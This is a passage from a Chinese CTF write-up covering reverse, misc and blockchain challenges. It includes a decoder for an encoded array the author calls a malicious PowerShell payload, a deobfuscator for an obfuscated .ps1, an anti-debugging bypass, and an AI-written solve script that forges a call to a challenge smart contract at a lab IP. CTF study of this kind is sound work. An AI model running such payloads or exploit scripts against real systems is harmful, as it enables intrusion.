101 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
102 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
103 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
104 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
105 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
106 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
107 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
108 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
109 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
110 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
111 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
112 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
113 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
114 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
115 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
116 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
117 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
118 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
119 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
120 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
121 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
122 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
123 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
124 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
125 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
126 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
127 716, 717, 715, 706, 711, 704, 641, 652, 642
128]
129
130# --- 执行解码并打印结果 ---
131
132decoded_object_name = decode_string_from_numbers(array_for_object)
133decoded_payload_command = decode_string_from_numbers(array_for_payload)
134
135print("--- 解码结果 ---")
136print("\n[+] 解码后的ActiveX对象名称:")
137print(decoded_object_name)
138
139print("\n[!] 解码后的恶意Payload (PowerShell命令):")
140print(decoded_payload_command)
141print("\n--- 分析结束 ---")又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下

解出来有个图片,访问一下下载下来,010看看

发现是被处理过的powershell代码

丢给gemini让他写个分析的脚本
1import re
2
3
4def parse_obfuscated_ps1(file_path):
5 """
6 解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。
7
8 参数:
9 file_path (str): s.ps1 文件的路径。
10
11 返回:
12 str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
13 """
14 try:
15 with open(file_path, 'r', encoding='utf-8') as f:
16 content = f.read()
17 except Exception as e:
18 return f"错误:无法读取文件 {file_path}。原因: {e}"
19
20 # 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
21 # 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
22 # $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
23 var_map = {
24 'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
25 'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
26 }
27
28 # 2. 从完整脚本中定位并提取核心载荷部分
29 # 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
30 match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
31 if not match:
32 return "错误:未能在文件中找到预期的混淆载荷格式。"
33
34 payload = match.group(1)
35
36 # 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
37 payload = payload.replace('+', '')
38 char_code_chunks = payload.split('$g')
39
40 # 4. 解码每个块
41 decoded_script = ""
42 # 第一个块是空的,从第二个开始遍历
43 for chunk in char_code_chunks:
44 if not chunk:
45 continue
46
47 num_str = ""
48 # 将块中的每个字符变量替换为其对应的数字
49 for char_var in chunk:
50 num_str += var_map.get(char_var, '')
51
52 if num_str:
53 try:
54 # 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
55 char_code = int(num_str)
56 decoded_script += chr(char_code)
57 except (ValueError, OverflowError):
58 # 如果转换失败,则忽略这个块
59 pass
60
61 return decoded_script
62
63
64# --- 使用示例 ---
65# 请将 's.ps1' 替换为您文件的实际路径
66file_to_parse = 's.ps1'
67deobfuscated_code = parse_obfuscated_ps1(file_to_parse)
68
69print("--- 解码后的 PowerShell 脚本 ---")
70print(deobfuscated_code)解出来就有了

obfusheader.h
知识点省流
动调跟踪数据流
WP
先去花
然后开始分析,搜索字符串找到输入的地方

定位到函数中,打上硬件断点,开始调试

简单测试一下可以知道输入长度是40,0x28


往下走,这里计算了字符串长度

接着往下走,这里函数进行了异或

接着往下走,提取密文

然后拿厨子跟我们输入的a解异或得到异或的key

接着调试,往下走,这里函数执行了一波高低位互换取反

接着走,直到程序输出加密完成,这里就是我们要的密文

提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好
1enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]
2
3def decode_byte(b):
4 b = ~b & 0xFF # 取反并确保保持8位
5 return ((b >> 4) | (b << 4)) & 0xFF # 高低4位交换
6
7result = [decode_byte(b) for b in enc]
8print(result)最后在厨子那再处理一下,然后用前面的key去异或即可得到flag

Qt_Creator
知识点省流
qt程序逆向
WP
简单的qt逆向
装好之后拿ida分析,发现调试就退出 应该是有反调试
字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试

进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里 简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断

在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换

双击进入即可看到下面的flag

Misc
v我50(R)MB
知识点省流
奇妙的用户侧数据泄露(?)
WP
根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的
看了看都不行
遂抓包,抓那个图片的链接
一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)
提前放出附件
知识点省流
压缩包明文攻击-tar变种
WP
给了个store存储的加密zip
明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了

PNG Master
知识点省流
png考点小串烧
WP
给了png
lsb藏了一段flag
010图片末尾藏了一段flag
最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档
其中一个里面有零宽字节,解出来提示是文件名xor
拿secret跟里面的内容异或得到第三段flag
Blockchain
生蚝的宝藏
知识点省流
有点小套的区块链源码反汇编解密
WP
没有给代码,只有靶机,连接后选项1创建账号,2生成合约
梭个脚本去读取合约中的字节码
1import requests
2import json
3
4RPC_URL = "http://106.15.138.99:8545/"
5TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
6CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
7TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"
8
9headers = {"Authorization": f"Bearer {TOKEN}"}
10
11# Slot 0
12payload_storage = {
13 "jsonrpc": "2.0",
14 "method": "eth_getStorageAt",
15 "params": [CONTRACT_ADDR, "0x0", "latest"],
16 "id": 1
17}
18slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
19print("Slot 0:", slot_0)
20
21
22def get_tx():
23 payload = {
24 "jsonrpc": "2.0",
25 "method": "eth_getTransactionByHash",
26 "params": [TX_HASH],
27 "id": 1
28 }
29 try:
30 print("尝试请求交易信息...")
31 resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
32 data = resp.get('result')
33 if data is None:
34 print("无返回内容:", json.dumps(resp, indent=2))
35 else:
36 # 打印 json 格式内容
37 print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
38 return data
39 except Exception as e:
40 print("请求失败:", e)
41
42
43tx_content = get_tx()得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下

得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)

反汇编一下合约字节码 https://app.dedaub.com/decompile
上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码
1// Decompiled by library.dedaub.com
2// 2025.08.15 13:23 UTC
3// Compiled using the solidity compiler version 0.8.9
4
5// Data structures and variables inferred from the use of storage instructions
6uint256[] ___function_selector__; // STORAGE[0x0]
7bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0
8
9// Note: The function selector is not present in the original solidity code.
10// However, we display it for the sake of completeness.
11
12function __function_selector__() public payable {
13 MEM[64] = 128;
14 require(!msg.value);
15 MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
16 MEM[64] = MEM[64] + (this.code.size - 2032);
17 require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
18 require(MEM[MEM[64]] <= uint64.max);
19 require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
20 v0 = MEM[MEM[64] + MEM[MEM[64]]];
21 require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
22 require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
23 MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
24 require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
25 v1 = v2 = 0;
26 while (v1 < v0) {
27 MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
28 v1 += 32;
29 }
30 if (v1 > v0) {
31 MEM[MEM[64] + v0 + 32] = 0;
32 }
33 require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
34 v3 = new bytes[](v0);
35 if (v0) {
36 CALLDATACOPY(v3.data, msg.data.length, v0);
37 }
38 v4 = v5 = 0;
39 while (v4 < v0) {
40 require(v6.length, Panic(18)); // division by zero
41 require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
42 require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
43 require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
44 MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
45 require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
46 v4 += 1;
47 }
48 v7 = v8 = v3.data;
49 v9 = v10 = ___function_selector__.length >> 1;
50 if (!(___function_selector__.length & 0x1)) {
51 v9 = v11 = v10 & 0x7f;
52 }
53 require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
54 v12 = v13 = ___function_selector__.data;
55 if (v3.length) {
56 if (31 < v3.length) {
57 ___function_selector__.length = 1 + (v3.length + v3.length);
58 if (v3.length) {
59 while (v8 + v3.length > v7) {
60 STORAGE[v12] = MEM[v7];
61 v7 += 32;
62 v12 += 1;
63 }
64 }
65 } else {
66 ___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
67 }
68 } else {
69 ___function_selector__.length = 0;
70 }
71 while (v13 + (31 + v9 >> 5) > v12) {
72 STORAGE[v12] = 0;
73 v12 += 1;
74 }
75 stor_1_0_0 = 0;
76 MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
77 return MEM[0:1113];
78}上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分
1// Decompiled by library.dedaub.com
2// 2025.08.15 16:53 UTC
3// Compiled using the solidity compiler version 0.8.9
4
5// Data structures and variables inferred from the use of storage instructions
6uint256[] array_0; // STORAGE[0x0]
7bool _isSolved; // STORAGE[0x1] bytes 0 to 0
8
9function fallback() public payable {
10 revert();
11}
12
13function 0x5cc4d812(bytes varg0) public payable {
14 require(msg.data.length - 4 >= 32);
15 require(varg0 <= uint64.max);
16 require(4 + varg0 + 31 < msg.data.length);
17 require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
18 v0 = new bytes[](varg0.length);
19 require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
20 require(4 + varg0 + varg0.length + 32 <= msg.data.length);
21 CALLDATACOPY(v0.data, varg0.data, varg0.length);
22 v0[varg0.length] = 0;
23 require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
24 v1 = new bytes[](v0.length);
25 if (v0.length) {
26 CALLDATACOPY(v1.data, msg.data.length, v0.length);
27 }
28 v2 = v3 = 0;
29 while (v2 < v0.length) {
30 require(v4.length, Panic(18)); // division by zero
31 require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
32 require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
33 require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
34 MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
35 require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
36 v2 += 1;
37 }
38 v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
39 v6 = v7 = 0;
40 while (v6 < v1.length) {
41 MEM[v6 + v5.data] = v1[v6];
42 v6 += 32;
43 }
44 if (v6 > v1.length) {
45 MEM[v5.data + v1.length] = 0;
46 }
47 MEM[64] = v1.length + v5.data;
48 v8 = v5.length;
49 v9 = v5.data;
50 v10 = new uint256[](v11 - MEM[64] - 32);
51 v11 = v12 = 0;
52 v13 = v14 = array_0.length >> 1;
53 if (!(array_0.length & 0x1)) {
54 v13 = v15 = v14 & 0x7f;
55 }
56 require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
57 if (!(array_0.length & 0x1)) {
58 MEM[v10.data] = bytes31(array_0.length);
59 v11 = v16 = v10.data + v13;
60 } else if (array_0.length & 0x1 == 1) {
61 v17 = v18 = array_0.data;
62 v19 = v20 = 0;
63 while (v19 < v13) {
64 MEM[v19 + v10.data] = STORAGE[v17];
65 v17 += 1;
66 v19 += 32;
67 }
68 v11 = v21 = v10.data + v13;
69 }
70 v22 = v10.length;
71 v23 = v10.data;
72 require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
73 _isSolved = 1;
74}
75
76function isSolved() public payable {
77 return _isSolved;
78}
79
80// Note: The function selector is not present in the original solidity code.
81// However, we display it for the sake of completeness.
82
83function __function_selector__( function_selector) public payable {
84 MEM[64] = 128;
85 require(!msg.value);
86 if (msg.data.length >= 4) {
87 if (0x5cc4d812 == function_selector >> 224) {
88 0x5cc4d812();
89 } else if (0x64d98f6e == function_selector >> 224) {
90 isSolved();
91 }
92 }
93 fallback();
94}经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了
问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来
经过各种尝试和ai拷打都没有结果
后面我注意到两点
一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)

太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文

这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行
过了会又想到可能真正的key是’key_77486f5f'
试了一下就出了,又被套娃到了
exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的
1#!/usre/bin/env python3
2import socket
3import re
4import time
5import requests
6from web3 import Web3
7from eth_account import Account
8from Crypto.Hash import keccak
9import json
10
11# Configuration
12RPC_URL = "http://106.15.138.99:8545/"
13FAUCET_URL = "http://106.15.138.99:8080/"
14NC_HOST = "challenge.xinshi.fun"
15NC_PORT = 44088
16
17
18def connect_nc(host, port):
19 """Connect to NC server"""
20 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21 s.connect((host, port))
22 return s
23
24
25def send_and_receive(sock, message, timeout=2):
26 """Send message and receive response"""
27 sock.send((message + '\n').encode())
28 time.sleep(timeout)
29 data = b''
30 sock.settimeout(0.5)
31 while True:
32 try:
33 chunk = sock.recv(4096)
34 if not chunk:
35 break
36 data += chunk
37 except socket.timeout:
38 break
39 return data.decode('utf-8', errors='ignore')
40
41
42def create_account():
43 """Step 1: Create account and get token"""
44 print("[*] Creating account...")
45 sock = connect_nc(NC_HOST, NC_PORT)
46
47 # Receive initial message
48 initial = send_and_receive(sock, "", timeout=1)
49 print(initial)
50
51 # Send choice 1
52 response = send_and_receive(sock, "1")
53 print(response)
54
55 # Parse deployer account and token
56 deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
57 token_match = re.search(r'token: ([^\s]+)', response)
58
59 if not deployer_match or not token_match:
60 raise Exception("Failed to parse account info")
61
62 deployer_address = deployer_match.group(1)
63 token = token_match.group(1)
64
65 sock.close()
66
67 print(f"[+] Deployer Address: {deployer_address}")
68 print(f"[+] Token: {token}")
69
70 return deployer_address, token
71
72
73def get_faucet(address, token):
74 """Get test ETH from faucet"""
75 print(f"[*] Getting ETH from faucet for {address}...")
76
77 headers = {
78 'Authorization': f'Bearer {token}',
79 'Content-Type': 'application/json'
80 }
81
82 data = {
83 'address': address
84 }
85
86 try:
87 response = requests.post(FAUCET_URL, headers=headers, json=data)
88 print(f"[+] Faucet response: {response.status_code}")
89 if response.status_code == 200:
90 print("[+] Successfully got ETH from faucet")
91 else:
92 print(f"[!] Faucet request may have failed: {response.text}")
93 except Exception as e:
94 print(f"[!] Faucet error: {e}")
95
96 # Wait for transaction to be mined
97 time.sleep(5)
98
99
100def wait_for_eth(address, min_balance=0.001, timeout=200):
101 """Wait for ETH to arrive in account"""
102 print(f"[*] Waiting for ETH in account {address}...")
103 print(f"[*] Minimum balance required: {min_balance} ETH")
104 print(f"[*] Timeout: {timeout} seconds")
105
106 w3 = Web3(Web3.HTTPProvider(RPC_URL))
107 start_time = time.time()
108
109 while time.time() - start_time < timeout:
110 try:
111 balance = w3.eth.get_balance(address)
112 balance_eth = w3.from_wei(balance, 'ether')
113
114 if balance_eth >= min_balance:
115 print(f"[+] Balance found: {balance_eth} ETH")
116 return True
117 else:
118 elapsed = int(time.time() - start_time)
119 print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
120 time.sleep(2)
121 except Exception as e:
122 print(f"[!] Error checking balance: {e}")
123 time.sleep(2)
124
125 print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
126 return False
127
128
129def deploy_contract(token):
130 """Step 2: Deploy contract"""
131 print("[*] Deploying contract...")
132 sock = connect_nc(NC_HOST, NC_PORT)
133
134 # Receive initial message
135 initial = send_and_receive(sock, "", timeout=1)
136
137 # Send choice 2
138 response = send_and_receive(sock, "2")
139
140 # Send token
141 response = send_and_receive(sock, token, timeout=5)
142 print(response)
143
144 # Parse contract address
145 contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
146 tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)
147
148 if not contract_match:
149 # Check for error message
150 if "send test ether" in response.lower():
151 print("[!] Insufficient ETH for deployment")
152 raise Exception("Failed to parse contract address")
153
154 contract_address = contract_match.group(1)
155 tx_hash = tx_match.group(1) if tx_match else None
156
157 sock.close()
158
159 print(f"[+] Contract Address: {contract_address}")
160 print(f"[+] Transaction Hash: {tx_hash}")
161
162 return contract_address, tx_hash
163
164
165def solve_challenge(contract_address, deployer_address, token):
166 """Solve the CTF challenge"""
167 print(f"[*] Solving challenge for contract {contract_address}...")
168
169 # Connect to Web3
170 w3 = Web3(Web3.HTTPProvider(RPC_URL))
171
172 # Create a new account for solving (since we don't have the deployer's private key)
173 solver_account = Account.create()
174 solver_address = solver_account.address
175 solver_private_key = solver_account.key.hex()
176
177 print(f"[+] Solver Address: {solver_address}")
178 print(f"[+] Solver Private Key: {solver_private_key}")
179
180 # Get ETH for solver account from faucet
181 print("[*] Getting ETH for solver account...")
182 get_faucet(solver_address, token)
183
184 # Wait for ETH to arrive
185 if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
186 print("[!] Failed to get ETH for solver account")
187 return False
188
189 # Get the storage value at slot 0 (array_0)
190 print("[*] Reading contract storage...")
191
192 # Read storage slot 0 to get array length and data
193 slot0 = w3.eth.get_storage_at(contract_address, 0)
194 print(f"[+] Storage slot 0: {slot0.hex()}")
195
196 # Parse the array data based on Solidity storage layout
197 array_length_raw = int.from_bytes(slot0, 'big')
198
199 if array_length_raw & 1 == 0:
200 # Short array (length < 32), data is in slot 0
201 array_length = (array_length_raw) >> 1 # Remove the encoding
202 print(f"[+] Short array, length: {array_length}")
203
204 # For short arrays, the length is encoded in the last byte
205 # and the data fills the rest of the slot from the beginning
206 actual_length = slot0[-1] >> 1 # Last byte contains length*2
207 array_data = slot0[:actual_length]
208 print(f"[+] Actual array length from last byte: {actual_length}")
209 print(f"[+] Array data: {array_data.hex()}")
210 else:
211 # Long array (length >= 32)
212 array_length = (array_length_raw - 1) // 2
213 print(f"[+] Long array, length: {array_length}")
214
215 # Calculate storage slot for array data
216 slot_hash = Web3.keccak(b'\x00' * 32)
217
218 # Read array data from storage
219 array_data = b''
220 num_slots = (array_length + 31) // 32
221
222 for i in range(num_slots):
223 slot_index = int.from_bytes(slot_hash, 'big') + i
224 slot_data = w3.eth.get_storage_at(contract_address, slot_index)
225 array_data += slot_data
226
227 array_data = array_data[:array_length]
228 print(f"[+] Array data: {array_data.hex()}")
229
230 # The XOR key from the decompiled code
231 # Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
232 # This is a 13-byte key
233 xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值
234
235 print(f"[+] XOR key: {xor_key.hex()}")
236 print(f"[+] Stored array (plaintext): {array_data.hex()}")
237
238 # The contract expects us to send the encrypted data
239 # So we need to XOR the stored plaintext with the key to get the encrypted version
240 encrypted_treasure = bytearray()
241 for i in range(len(array_data)):
242 encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])
243
244 print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")
245
246 # Prepare the function call
247 # Function selector for 0x5cc4d812
248 function_selector = '5cc4d812' # Remove 0x prefix
249
250 # ABI encode the bytes parameter
251 # Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
252 offset = (32).to_bytes(32, 'big') # Offset to dynamic data
253 length = len(encrypted_treasure).to_bytes(32, 'big') # Length of bytes
254
255 # Pad data to multiple of 32 bytes
256 padded_data = bytes(encrypted_treasure)
257 if len(padded_data) % 32 != 0:
258 padded_data += b'\x00' * (32 - len(padded_data) % 32)
259
260 # Construct call data
261 call_data = bytes.fromhex(function_selector) + offset + length + padded_data
262
263 print(f"[+] Call data: {call_data.hex()}")
264
265 # Build transaction
266 try:
267 nonce = w3.eth.get_transaction_count(solver_address)
268 gas_price = w3.eth.gas_price
269
270 transaction = {
271 'to': contract_address,
272 'from': solver_address,
273 'data': call_data,
274 'gas': 500000,
275 'gasPrice': gas_price,
276 'nonce': nonce,
277 'chainId': w3.eth.chain_id
278 }
279
280 # Sign and send transaction
281 signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)
282
283 # Use the correct attribute name for different versions of eth-account
284 try:
285 raw_tx = signed_tx.rawTransaction
286 except AttributeError:
287 raw_tx = signed_tx.raw_transaction
288
289 tx_hash = w3.eth.send_raw_transaction(raw_tx)
290
291 print(f"[+] Transaction sent: {tx_hash.hex()}")
292
293 # Wait for transaction receipt
294 print("[*] Waiting for transaction to be mined...")
295 receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
296
297 if receipt.status == 1:
298 print("[+] Transaction successful!")
299 print(f"[+] Gas used: {receipt.gasUsed}")
300
301 # Check if isSolved() returns true
302 # Function selector for isSolved(): 0x64d98f6e
303 result = w3.eth.call({
304 'to': contract_address,
305 'data': '0x64d98f6e'
306 })
307
308 is_solved = int.from_bytes(result, 'big') == 1
309 print(f"[+] isSolved() = {is_solved}")
310
311 return is_solved
312 else:
313 print(f"[!] Transaction failed! Status: {receipt.status}")
314 print(f"[!] Gas used: {receipt.gasUsed}")
315
316 # Try to get revert reason
317 try:
318 w3.eth.call(transaction, receipt.blockNumber)
319 except Exception as revert_error:
320 print(f"[!] Revert reason: {revert_error}")
321
322 return False
323
324 except Exception as e:
325 print(f"[!] Transaction error: {e}")
326 import traceback
327 traceback.print_exc()
328 return False
329
330
331def get_flag(token):
332 """Step 3: Get flag"""
333 print("[*] Getting flag...")
334 sock = connect_nc(NC_HOST, NC_PORT)
335
336 # Receive initial message
337 initial = send_and_receive(sock, "", timeout=1)
338
339 # Send choice 3
340 response = send_and_receive(sock, "3")
341
342 # Send token
343 response = send_and_receive(sock, token, timeout=3)
344 print(response)
345
346 sock.close()
347
348 # Parse flag
349 flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
350 if flag_match:
351 flag = flag_match.group(1)
352 print(f"\n[+] FLAG: {flag}")
353 return flag
354 else:
355 print("[!] Flag not found in response")
356 return None
357
358
359def main():
360 """Main function to run the entire exploit"""
361 print("=" * 60)
